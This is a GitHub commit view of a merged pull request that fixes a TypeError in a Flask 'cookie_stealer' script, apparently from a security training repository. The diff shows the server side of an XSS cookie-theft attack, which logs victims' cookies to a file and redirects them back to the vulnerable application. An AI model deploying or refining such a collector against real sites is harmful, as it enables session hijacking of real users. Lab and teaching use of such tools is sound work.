Merge pull request #82 from DmitriyStoyanov/fix_cookie_stealer

Fix TypeError issue in cookie_stealer
This commit is contained in:
Omar Santos 2022-02-17 07:45:30 -05:00 committed by GitHub
commit dd75cfc166
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -19,7 +19,7 @@ def cookie():
cookie = request.args.get('c')
f = open("cookies.txt","a")
f.write(cookie + ' ' + str(datetime.now()) + '\n')
f.write(str(cookie) + ' ' + str(datetime.now()) + '\n')
f.close()
# redirecting the user back to the vulnerable application